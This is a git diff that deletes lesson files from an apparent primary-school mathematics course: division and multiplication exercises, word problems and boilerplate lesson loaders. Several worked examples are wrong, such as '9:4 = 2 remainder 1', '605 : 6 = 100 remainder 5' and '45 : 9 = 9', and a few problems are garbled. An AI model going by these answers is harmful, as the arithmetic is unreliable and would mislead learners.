- Division with remainder.
-</h4>
-<p>
- <span style="color: #ff0000;">
-  Instruction . Illustration of 27 bottles of primus and 2crates , when put in , 3 bottles rest .
- </span>
-</p>
-<ol>
- <li>
-  5:2=2 remainder is 1.
- </li>
- <li>
-  9:4 =2 remainder is 1.
- </li>
- <li>
-  12 : 5 = 2 remainder is 2.
- </li>
- <li>
-  20 : 6 = 2 remainder is 2.
- </li>
- <li>
-  11 : 3 = 3 remainder is 2.
- </li>
- <li>
-  19 :5 = 3 remainder is 4
- </li>
- <li>
-  50 : 30 = 1 remainder is 20
- </li>
- <li>
-  158 : 10 = 15 remainder is 8.
- </li>
- <li>
-  300 : 4 =75 remainder is 0
- </li>
- <li>
-  605 : 6 = 100 remainder is 5.
- </li>
-</ol>
-<h3 style="text-decoration: underline;">
- Instruction.
-</h3>
-<p>
- <span style="color: #ff0000;">
-  Show division with remainder by arranging numbers approprietly.
- </span>
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m08/map411m08a03/description.py b/Save_Mathematics/P4/map411m08/map411m08a03/description.py
deleted file mode 100644
index 8a055f2..0000000
--- a/Save_Mathematics/P4/map411m08/map411m08a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m08a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m08/map411m08a03/lesson.js b/Save_Mathematics/P4/map411m08/map411m08a03/lesson.js
deleted file mode 100644
index 55cded1..0000000
--- a/Save_Mathematics/P4/map411m08/map411m08a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m08/map411m08a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m08/map411m08a03/source.txt b/Save_Mathematics/P4/map411m08/map411m08a03/source.txt
deleted file mode 100644
index d652d95..0000000
--- a/Save_Mathematics/P4/map411m08/map411m08a03/source.txt
+++ /dev/null
@@ -1,139 +0,0 @@
-<p>
- The division can be subdivided into Dvivision without remainder and Division with remainder.
- <br />
- <br />
-</p>
-<ul>
- <li>
-  Division without remainder.
- </li>
-</ul>
-<p>
- <span style="color: #ff0000;">
-  Drawing of 8 piles of tomatoes
- </span>
- . 4 children buy them. Each obtains 4 piles
- <br />
- <br />
- <br />
- 1) Find the the quotient of the following :
- <br />
- <br />
-</p>
-<ol>
- <li>
-  24: 2 =
- </li>
- <li>
-  66 : 3 =
- </li>
- <li>
-  208 : 9
- </li>
- <li>
-  264 : 2 =
- </li>
- <li>
-  312: 2=
- </li>
- <li>
-  450 : 45=
- </li>
- <li>
-  120 : 2 =.
- </li>
- <li>
-  888 : 4 = .
- </li>
- <li>
-  186 : 6=
- </li>
-</ol>
-<h4 style="text-decoration: underline;">
- <span style="font-style: italic;">
-  Instructions
- </span>
-</h4>
-<p>
- <span style="color: #ff0000;">
-  Show students how to arrange numbers for division.
- </span>
- <br />
- <br />
- <span style="font-weight: bold; text-decoration: underline;">
-  Knowledge
- </span>
- <br />
- <br />
-</p>
-<ul>
- <li>
-  To divide , arrange numbers for division then divide starting from the left.
- </li>
-</ul>
-<p>
- The result of division is a quotient.
- <br />
- <br />
-</p>
-<ul>
- <li>
-  To check wether the division is correct , multiply the divisor by the quotient. You must get the number equal to the dividend.
- </li>
- <li>
-  Divide the dividend by the divisor , substract all possible multiples of the divisor from the dividend , what is left is the remainder.
- </li>
-</ul>
-<p>
- &nbsp;
-</p>
-<h4 style="text-decoration: underline;">
- Division with remainder.
-</h4>
-<p>
- <span style="color: #ff0000;">
-  Instruction . Illustration of 27 bottles of primus and 2crates , when put in , 3 bottles rest .
- </span>
-</p>
-<ol>
- <li>
-  5:2=2 remainder is 1.
- </li>
- <li>
-  9:4 =2 remainder is 1.
- </li>
- <li>
-  12 : 5 = 2 remainder is 2.
- </li>
- <li>
-  20 : 6 = 2 remainder is 2.
- </li>
- <li>
-  11 : 3 = 3 remainder is 2.
- </li>
- <li>
-  19 :5 = 3 remainder is 4
- </li>
- <li>
-  50 : 30 = 1 remainder is 20
- </li>
- <li>
-  158 : 10 = 15 remainder is 8.
- </li>
- <li>
-  300 : 4 =75 remainder is 0
- </li>
- <li>
-  605 : 6 = 100 remainder is 5.
- </li>
-</ol>
-<h3 style="text-decoration: underline;">
- Instruction.
-</h3>
-<p>
- <span style="color: #ff0000;">
-  Show division with remainder by arranging numbers approprietly.
- </span>
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m08/map411m08a04/a.txt b/Save_Mathematics/P4/map411m08/map411m08a04/a.txt
deleted file mode 100644
index 34d4490..0000000
--- a/Save_Mathematics/P4/map411m08/map411m08a04/a.txt
+++ /dev/null
@@ -1,43 +0,0 @@
-<p>
- 1. Divide:
- <br />
- <br />
-</p>
-<ul>
- <li>
-  24 : 12=
- </li>
- <li>
-  144 : 6=
- </li>
- <li>
-  188 : 9=
- </li>
- <li>
-  618: 3=
- </li>
- <li>
-  635 : 7=
- </li>
- <li>
-  12 : 10=
- </li>
- <li>
-  4 : 40 =
- </li>
- <li>
-  123 : 123=
- </li>
- <li>
-  63660:2 3 =
- </li>
- <li>
-  66666 :6 6=
- </li>
-</ul>
-<p>
- 2 . A farmer collects 20 000 eggs from his farm every week . How many trays of eggs does he get if each tray hold 30 eggs ? How many eggs will remain ?
- <br />
- <br />
- 3. Silas has 35000 RWf and he wants to buy 7 uniforms of his children . How many uniforms will he buy /?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m08/map411m08a04/description.py b/Save_Mathematics/P4/map411m08/map411m08a04/description.py
deleted file mode 100644
index ef215ad..0000000
--- a/Save_Mathematics/P4/map411m08/map411m08a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m08a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m08/map411m08a04/lesson.js b/Save_Mathematics/P4/map411m08/map411m08a04/lesson.js
deleted file mode 100644
index 22a3496..0000000
--- a/Save_Mathematics/P4/map411m08/map411m08a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m08/map411m08a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m08/map411m08a04/source.txt b/Save_Mathematics/P4/map411m08/map411m08a04/source.txt
deleted file mode 100644
index 34d4490..0000000
--- a/Save_Mathematics/P4/map411m08/map411m08a04/source.txt
+++ /dev/null
@@ -1,43 +0,0 @@
-<p>
- 1. Divide:
- <br />
- <br />
-</p>
-<ul>
- <li>
-  24 : 12=
- </li>
- <li>
-  144 : 6=
- </li>
- <li>
-  188 : 9=
- </li>
- <li>
-  618: 3=
- </li>
- <li>
-  635 : 7=
- </li>
- <li>
-  12 : 10=
- </li>
- <li>
-  4 : 40 =
- </li>
- <li>
-  123 : 123=
- </li>
- <li>
-  63660:2 3 =
- </li>
- <li>
-  66666 :6 6=
- </li>
-</ul>
-<p>
- 2 . A farmer collects 20 000 eggs from his farm every week . How many trays of eggs does he get if each tray hold 30 eggs ? How many eggs will remain ?
- <br />
- <br />
- 3. Silas has 35000 RWf and he wants to buy 7 uniforms of his children . How many uniforms will he buy /?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m08/map411m08a05/a.txt b/Save_Mathematics/P4/map411m08/map411m08a05/a.txt
deleted file mode 100644
index cdacd61..0000000
--- a/Save_Mathematics/P4/map411m08/map411m08a05/a.txt
+++ /dev/null
@@ -1,41 +0,0 @@
-<h4>
- Calculate following divisions:
-</h4>
-<p>
- &nbsp;
-</p>
-<ul>
- <li>
-  88 : 44 =
- </li>
- <li>
-  55 : 5=
- </li>
- <li>
-  39 : 13 =
- </li>
- <li>
-  60 : 6 =
- </li>
- <li>
-  120 : 12=
- </li>
- <li>
-  400 : 40 =
- </li>
- <li>
-  200 : 10 =
- </li>
- <li>
-  1700 :5 =
- </li>
- <li>
-  385 : 15 =
- </li>
- <li>
-  7466 :24 =
- </li>
-</ul>
-<p>
- A student went to the market and has 1200 Rwf for buying notebooks . Find the number of the notebooks he will get if a notebook costs 240 Rwf .
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m08/map411m08a05/description.py b/Save_Mathematics/P4/map411m08/map411m08a05/description.py
deleted file mode 100644
index ea8ac2b..0000000
--- a/Save_Mathematics/P4/map411m08/map411m08a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m08a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m08/map411m08a05/lesson.js b/Save_Mathematics/P4/map411m08/map411m08a05/lesson.js
deleted file mode 100644
index f26b8a1..0000000
--- a/Save_Mathematics/P4/map411m08/map411m08a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m08/map411m08a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m08/map411m08a05/source.txt b/Save_Mathematics/P4/map411m08/map411m08a05/source.txt
deleted file mode 100644
index cdacd61..0000000
--- a/Save_Mathematics/P4/map411m08/map411m08a05/source.txt
+++ /dev/null
@@ -1,41 +0,0 @@
-<h4>
- Calculate following divisions:
-</h4>
-<p>
- &nbsp;
-</p>
-<ul>
- <li>
-  88 : 44 =
- </li>
- <li>
-  55 : 5=
- </li>
- <li>
-  39 : 13 =
- </li>
- <li>
-  60 : 6 =
- </li>
- <li>
-  120 : 12=
- </li>
- <li>
-  400 : 40 =
- </li>
- <li>
-  200 : 10 =
- </li>
- <li>
-  1700 :5 =
- </li>
- <li>
-  385 : 15 =
- </li>
- <li>
-  7466 :24 =
- </li>
-</ul>
-<p>
- A student went to the market and has 1200 Rwf for buying notebooks . Find the number of the notebooks he will get if a notebook costs 240 Rwf .
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m08/map411m08a06/a.txt b/Save_Mathematics/P4/map411m08/map411m08a06/a.txt
deleted file mode 100644
index 702b617..0000000
--- a/Save_Mathematics/P4/map411m08/map411m08a06/a.txt
+++ /dev/null
@@ -1,55 +0,0 @@
-<h4>
- 1. Find the quotient of the division .
-</h4>
-<ul>
- <li>
-  879 : 22 =
- </li>
-</ul>
-<ul>
- <li>
-  510 : 5=
- </li>
-</ul>
-<ul>
- <li>
-  399 : 3 =
- </li>
-</ul>
-<ul>
- <li>
-  466: 52 =
- </li>
-</ul>
-<ul>
- <li>
-  390 : 3 =
- </li>
-</ul>
-<ul>
- <li>
-  756 : 9 =
- </li>
- <li>
-  4 4 4 : 22=
- </li>
-</ul>
-<p>
- <br />
- 2) A gardener works 63 hours for 3 days . How many hours does he work per day ?
- <br />
- <br />
- 3) Eric has 30 notebooks to divide among his 10 children. How many notebooks each child will get ?
- <br />
- <br />
- 3) Eliphaz planted 4 280 coffee plants . How many plants were they in each row if each row had 40 plants ?
- <br />
- <br />
- <span style="color: #ff0000;">
-  Instruction:
- </span>
- <br style="color: #ff0000;" />
- <span style="color: #ff0000;">
-  Create a game in memorize activity to much 2 numbers with their quotient.
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m08/map411m08a06/description.py b/Save_Mathematics/P4/map411m08/map411m08a06/description.py
deleted file mode 100644
index 16bd559..0000000
--- a/Save_Mathematics/P4/map411m08/map411m08a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m08a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m08/map411m08a06/lesson.js b/Save_Mathematics/P4/map411m08/map411m08a06/lesson.js
deleted file mode 100644
index 3419760..0000000
--- a/Save_Mathematics/P4/map411m08/map411m08a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m08/map411m08a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m08/map411m08a06/source.txt b/Save_Mathematics/P4/map411m08/map411m08a06/source.txt
deleted file mode 100644
index 702b617..0000000
--- a/Save_Mathematics/P4/map411m08/map411m08a06/source.txt
+++ /dev/null
@@ -1,55 +0,0 @@
-<h4>
- 1. Find the quotient of the division .
-</h4>
-<ul>
- <li>
-  879 : 22 =
- </li>
-</ul>
-<ul>
- <li>
-  510 : 5=
- </li>
-</ul>
-<ul>
- <li>
-  399 : 3 =
- </li>
-</ul>
-<ul>
- <li>
-  466: 52 =
- </li>
-</ul>
-<ul>
- <li>
-  390 : 3 =
- </li>
-</ul>
-<ul>
- <li>
-  756 : 9 =
- </li>
- <li>
-  4 4 4 : 22=
- </li>
-</ul>
-<p>
- <br />
- 2) A gardener works 63 hours for 3 days . How many hours does he work per day ?
- <br />
- <br />
- 3) Eric has 30 notebooks to divide among his 10 children. How many notebooks each child will get ?
- <br />
- <br />
- 3) Eliphaz planted 4 280 coffee plants . How many plants were they in each row if each row had 40 plants ?
- <br />
- <br />
- <span style="color: #ff0000;">
-  Instruction:
- </span>
- <br style="color: #ff0000;" />
- <span style="color: #ff0000;">
-  Create a game in memorize activity to much 2 numbers with their quotient.
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m09/activities.js b/Save_Mathematics/P4/map411m09/activities.js
deleted file mode 100755
index 1779f91..0000000
--- a/Save_Mathematics/P4/map411m09/activities.js
+++ /dev/null
@@ -1,10 +0,0 @@
-var activities = [
-['1','1','map4','basic','map411m09a01','blue'],
-['2','2','map4','basic','map411m09a02','blue'],
-['3','3','map4','basic','map411m09a03','blue'],
-['4','4','map4','basic','map411m09a04','blue'],
-['5','5','map4','basic','map411m09a05','blue'],
-['6','6','map4','basic','map411m09a06','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P4/map411m09/map411m09a01/a.txt b/Save_Mathematics/P4/map411m09/map411m09a01/a.txt
deleted file mode 100644
index 954ed1c..0000000
--- a/Save_Mathematics/P4/map411m09/map411m09a01/a.txt
+++ /dev/null
@@ -1,90 +0,0 @@
-<ul>
- <li>
-  Instructional material bunles tens ,hundreds and thousands.
- </li>
-</ul>
-<p>
- Mary is walking in the school, s playground and makes10 steps in 10 times .
- <br />
- By mental calculations, Find the number of all steps made by Mary.
- <br />
- Observe those illustrations , sometimes do you use quick arithmetic with multipli
- <br />
- cation by 10 , 100 , 1000 0r simple division in your life ?
- <br />
- This course will help you . |||||||||| + |||||||||| + |||||||||| = 30 = 10x 3
- <br />
- 10 10 10
- <br />
- <br />
- ||||||||||x10 + ||||||||||x10 + ||||||||||x10= 300 = 100x 3
- <br />
- 100 100 100
- <br />
- Instructional materials multiplication tables
- <br />
- Mental calculations :
-</p>
-<ul>
- <li>
-  37 x10=?
- </li>
-</ul>
-<ul>
- <li>
-  268 x10=?
- </li>
- <li>
-  123 x10=?
- </li>
- <li>
-  12 x100 =?
- </li>
- <li>
-  64 x 100=?
- </li>
- <li>
-  8 x1000=?
- </li>
- <li>
-  56 x1000=?
- </li>
- <li>
-  9 x 10000 =?
- </li>
-</ul>
-<p>
- Divide rapidly: 45 : 9 = 9 because 9 x5 = 45
- <br />
- 60 : 6 = 10 because 10 x6= 60.
- <br />
- <br />
- <br />
- Try this mental calculations .
- <br />
- <br />
-</p>
-<ul>
- <li>
-  81 :9 =
- </li>
-</ul>
-<ul>
- <li>
-  63 : 7 =
- </li>
-</ul>
-<ul>
- <li>
-  72 : 8 =
- </li>
-</ul>
-<ul>
- <li>
-  100 : 5 =
- </li>
-</ul>
-<p>
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m09/map411m09a01/description.py b/Save_Mathematics/P4/map411m09/map411m09a01/description.py
deleted file mode 100644
index f5095ff..0000000
--- a/Save_Mathematics/P4/map411m09/map411m09a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m09a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m09/map411m09a01/lesson.js b/Save_Mathematics/P4/map411m09/map411m09a01/lesson.js
deleted file mode 100644
index 97e3e25..0000000
--- a/Save_Mathematics/P4/map411m09/map411m09a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m09/map411m09a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m09/map411m09a01/source.txt b/Save_Mathematics/P4/map411m09/map411m09a01/source.txt
deleted file mode 100644
index 954ed1c..0000000
--- a/Save_Mathematics/P4/map411m09/map411m09a01/source.txt
+++ /dev/null
@@ -1,90 +0,0 @@
-<ul>
- <li>
-  Instructional material bunles tens ,hundreds and thousands.
- </li>
-</ul>
-<p>
- Mary is walking in the school, s playground and makes10 steps in 10 times .
- <br />
- By mental calculations, Find the number of all steps made by Mary.
- <br />
- Observe those illustrations , sometimes do you use quick arithmetic with multipli
- <br />
- cation by 10 , 100 , 1000 0r simple division in your life ?
- <br />
- This course will help you . |||||||||| + |||||||||| + |||||||||| = 30 = 10x 3
- <br />
- 10 10 10
- <br />
- <br />
- ||||||||||x10 + ||||||||||x10 + ||||||||||x10= 300 = 100x 3
- <br />
- 100 100 100
- <br />
- Instructional materials multiplication tables
- <br />
- Mental calculations :
-</p>
-<ul>
- <li>
-  37 x10=?
- </li>
-</ul>
-<ul>
- <li>
-  268 x10=?
- </li>
- <li>
-  123 x10=?
- </li>
- <li>
-  12 x100 =?
- </li>
- <li>
-  64 x 100=?
- </li>
- <li>
-  8 x1000=?
- </li>
- <li>
-  56 x1000=?
- </li>
- <li>
-  9 x 10000 =?
- </li>
-</ul>
-<p>
- Divide rapidly: 45 : 9 = 9 because 9 x5 = 45
- <br />
- 60 : 6 = 10 because 10 x6= 60.
- <br />
- <br />
- <br />
- Try this mental calculations .
- <br />
- <br />
-</p>
-<ul>
- <li>
-  81 :9 =
- </li>
-</ul>
-<ul>
- <li>
-  63 : 7 =
- </li>
-</ul>
-<ul>
- <li>
-  72 : 8 =
- </li>
-</ul>
-<ul>
- <li>
-  100 : 5 =
- </li>
-</ul>
-<p>
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m09/map411m09a02/a.txt b/Save_Mathematics/P4/map411m09/map411m09a02/a.txt
deleted file mode 100644
index 1bcf452..0000000
--- a/Save_Mathematics/P4/map411m09/map411m09a02/a.txt
+++ /dev/null
@@ -1,93 +0,0 @@
-<p>
- With your ability in numeration and operation ; think of the answer and tell it loudly .
- <br />
- Teacher asks to children to answer the questions mentally.
-</p>
-<ul>
- <li>
-  31 x 10 =
- </li>
- <li>
-  420 x 10 =
- </li>
- <li>
-  38b2 x 100 =
- </li>
- <li>
-  428 x 100 =
- </li>
- <li>
-  56812 x 100 =
- </li>
- <li>
-  3 x 1000 =
- </li>
- <li>
-  6 x 1000 =
- </li>
- <li>
-  121 x 1000 =
- </li>
-</ul>
-<p>
- <br />
- k) Gratien 's mather wants to give ten notebooks to each of her 12 children. How many notebooks does she need to distribute among her children ?
- <br />
- <br />
- <br />
- Solution
- <br />
- <br />
- given: 12 children
- <br />
- 10 notebooks
- <br />
- <br />
- She needs 12notebooks x 10 = 120 notebooks
- <br />
- <br />
- <br />
- <span style="text-decoration: underline;">
-  Calculate these divisions following the pattern :
-  <br />
-  <br />
-  Example
- </span>
- :
- <br />
- <br />
- * 24 : 2 = (20 : 2) + (4 : 2) = 12
- <br />
- <br />
- * 438 : 2 = (400 : 2) + (30 : 2) + 8 : 2 = 219
- <br />
- <br />
- <br />
- 1) 58 : 2 =
- <br />
- <br />
- 2) 468 : 2 =
- <br />
- <br />
- 3) 69 : 3 =
- <br />
- <br />
- 4) 44 : 4 =
- <br />
- <br />
- 5)1100 : 5 =
- <br />
- <br />
- 6) 74 : 2 =
- <br />
- <br />
- 7) 124 : 4 =
- <br />
- <br />
- 8) 1218 : 2 =
- <br />
- <br />
- 9) 88 : 8 =
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m09/map411m09a02/description.py b/Save_Mathematics/P4/map411m09/map411m09a02/description.py
deleted file mode 100644
index 6f45ce3..0000000
--- a/Save_Mathematics/P4/map411m09/map411m09a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m09a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m09/map411m09a02/lesson.js b/Save_Mathematics/P4/map411m09/map411m09a02/lesson.js
deleted file mode 100644
index e0b8f9b..0000000
--- a/Save_Mathematics/P4/map411m09/map411m09a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m09/map411m09a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m09/map411m09a02/source.txt b/Save_Mathematics/P4/map411m09/map411m09a02/source.txt
deleted file mode 100644
index 1bcf452..0000000
--- a/Save_Mathematics/P4/map411m09/map411m09a02/source.txt
+++ /dev/null
@@ -1,93 +0,0 @@
-<p>
- With your ability in numeration and operation ; think of the answer and tell it loudly .
- <br />
- Teacher asks to children to answer the questions mentally.
-</p>
-<ul>
- <li>
-  31 x 10 =
- </li>
- <li>
-  420 x 10 =
- </li>
- <li>
-  38b2 x 100 =
- </li>
- <li>
-  428 x 100 =
- </li>
- <li>
-  56812 x 100 =
- </li>
- <li>
-  3 x 1000 =
- </li>
- <li>
-  6 x 1000 =
- </li>
- <li>
-  121 x 1000 =
- </li>
-</ul>
-<p>
- <br />
- k) Gratien 's mather wants to give ten notebooks to each of her 12 children. How many notebooks does she need to distribute among her children ?
- <br />
- <br />
- <br />
- Solution
- <br />
- <br />
- given: 12 children
- <br />
- 10 notebooks
- <br />
- <br />
- She needs 12notebooks x 10 = 120 notebooks
- <br />
- <br />
- <br />
- <span style="text-decoration: underline;">
-  Calculate these divisions following the pattern :
-  <br />
-  <br />
-  Example
- </span>
- :
- <br />
- <br />
- * 24 : 2 = (20 : 2) + (4 : 2) = 12
- <br />
- <br />
- * 438 : 2 = (400 : 2) + (30 : 2) + 8 : 2 = 219
- <br />
- <br />
- <br />
- 1) 58 : 2 =
- <br />
- <br />
- 2) 468 : 2 =
- <br />
- <br />
- 3) 69 : 3 =
- <br />
- <br />
- 4) 44 : 4 =
- <br />
- <br />
- 5)1100 : 5 =
- <br />
- <br />
- 6) 74 : 2 =
- <br />
- <br />
- 7) 124 : 4 =
- <br />
- <br />
- 8) 1218 : 2 =
- <br />
- <br />
- 9) 88 : 8 =
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m09/map411m09a03/a.txt b/Save_Mathematics/P4/map411m09/map411m09a03/a.txt
deleted file mode 100644
index c01c407..0000000
--- a/Save_Mathematics/P4/map411m09/map411m09a03/a.txt
+++ /dev/null
@@ -1,63 +0,0 @@
-<p>
- <br />
- <span style="font-weight: bold;">
-  Calculate the following :
- </span>
- <br />
- <br />
- a) 13 x 10 = ?
- <br />
- b) 25 x 10 = ?
- <br />
- c) 48 x 10 = ?
- <br />
- d) 45 x 10 = ?
- <br />
- e) 5 x 100 = ?
- <br />
- f) 1258 x 10 = ?
- <br />
- g) 9121 x 100 = ?
- <br />
- h) 3218 x 1000 = ?
- <br />
- i) 4 x 1000 = ?
- <br />
- j) 2 x 10000 = ?
- <br />
- k) 918 x 100 =?
- <br />
- <br />
- l) Andrew has 100 packets of 12 pens each.
- <br />
- How many pens does Andrew have ?
- <br />
- <br />
- <br />
- <span style="text-decoration: underline;">
-  Divide rapidly
- </span>
- <br />
- <br />
- 1) 60 : 2
- <br />
- 2) 36 : 3
- <br />
- 3) 82 : 2
- <br />
- 4) 120 : 3
- <br />
- 5) 49 : 7
- <br />
- 6) 66 : 6
- <br />
- 7) 90 : 3
- <br />
- 8) 324 : 4
- <br />
- 9) 450 : 5
- <br />
- 10) 770 : 7
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m09/map411m09a03/description.py b/Save_Mathematics/P4/map411m09/map411m09a03/description.py
deleted file mode 100644
index 43534d5..0000000
--- a/Save_Mathematics/P4/map411m09/map411m09a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m09a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m09/map411m09a03/lesson.js b/Save_Mathematics/P4/map411m09/map411m09a03/lesson.js
deleted file mode 100644
index b603c76..0000000
--- a/Save_Mathematics/P4/map411m09/map411m09a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m09/map411m09a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m09/map411m09a03/source.txt b/Save_Mathematics/P4/map411m09/map411m09a03/source.txt
deleted file mode 100644
index c01c407..0000000
--- a/Save_Mathematics/P4/map411m09/map411m09a03/source.txt
+++ /dev/null
@@ -1,63 +0,0 @@
-<p>
- <br />
- <span style="font-weight: bold;">
-  Calculate the following :
- </span>
- <br />
- <br />
- a) 13 x 10 = ?
- <br />
- b) 25 x 10 = ?
- <br />
- c) 48 x 10 = ?
- <br />
- d) 45 x 10 = ?
- <br />
- e) 5 x 100 = ?
- <br />
- f) 1258 x 10 = ?
- <br />
- g) 9121 x 100 = ?
- <br />
- h) 3218 x 1000 = ?
- <br />
- i) 4 x 1000 = ?
- <br />
- j) 2 x 10000 = ?
- <br />
- k) 918 x 100 =?
- <br />
- <br />
- l) Andrew has 100 packets of 12 pens each.
- <br />
- How many pens does Andrew have ?
- <br />
- <br />
- <br />
- <span style="text-decoration: underline;">
-  Divide rapidly
- </span>
- <br />
- <br />
- 1) 60 : 2
- <br />
- 2) 36 : 3
- <br />
- 3) 82 : 2
- <br />
- 4) 120 : 3
- <br />
- 5) 49 : 7
- <br />
- 6) 66 : 6
- <br />
- 7) 90 : 3
- <br />
- 8) 324 : 4
- <br />
- 9) 450 : 5
- <br />
- 10) 770 : 7
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m09/map411m09a04/a.txt b/Save_Mathematics/P4/map411m09/map411m09a04/a.txt
deleted file mode 100644
index e9d19a7..0000000
--- a/Save_Mathematics/P4/map411m09/map411m09a04/a.txt
+++ /dev/null
@@ -1,56 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  1)Multiply quickly :
- </span>
- <br />
- <br />
- a) 13 x 100 = ?
- <br />
- b) 19 x 10 = ?
- <br />
- c) 23 x 100 = ?
- <br />
- d) 99 x 100 = ?
- <br />
- e) 28 x1000 = ?
- <br />
- f) 58 x 10 = ?
- <br />
- g) 3129 x1000 = ?
- <br />
- h) 3830 x 10 = ?
- <br />
- i) 4091 x 10 = ?
- <br />
- j) 8 x 10000 = ?
- <br />
- <br />
- k) Aloys'uncle needs 38120 bricks to build his house . If each bricks costs 10 f .How much money does he need ?
- <br />
- <br />
- Using your knowlegde ,find the quotient .
- <br />
- <br />
- 1) 555 : 5
- <br />
- 2) 159 : 3
- <br />
- 3) 181 : 9
- <br />
- 4) 208 : 5
- <br />
- 5) 110 : 11
- <br />
- 6) 999 : 3
- <br />
- 7) 451 : 9
- <br />
- 8) 388 : 2
- <br />
- 9) 1200 : 6
- <br />
- 10) 458 : 4
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m09/map411m09a04/description.py b/Save_Mathematics/P4/map411m09/map411m09a04/description.py
deleted file mode 100644
index b5e4993..0000000
--- a/Save_Mathematics/P4/map411m09/map411m09a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m09a04',week=0)
-
-
